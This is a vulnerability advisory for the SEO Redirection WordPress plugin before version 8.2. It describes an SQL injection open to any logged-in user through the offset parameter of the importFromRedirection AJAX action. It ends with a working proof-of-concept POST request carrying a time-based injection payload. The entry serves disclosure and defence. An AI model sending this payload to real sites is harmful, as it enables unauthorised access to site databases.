SEO Redirection < 8.2 - Subscriber+ SQL Injection

2021-10-18T00:00:00
ID WPVDB-ID:679CA6ED-2343-43F3-9C3E-2C12E12407C1
Type wpvulndb
Reporter JrXnm
Modified 2021-11-07T08:48:22

Description

The importFromRedirection AJAX action of the plugin, available to any authenticated user, does not properly sanitise the offset parameter before using it in a SQL statement, leading an SQL injection when the redirection plugin is also installed

PoC

POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: zh,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: [any authenticated user] Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 126 action=importFromRedirection&offset;=1+procedure+analyse(updatexml(rand(),concat(0x3a,benchmark(20000000,sha1(1))),0x20),1)--+-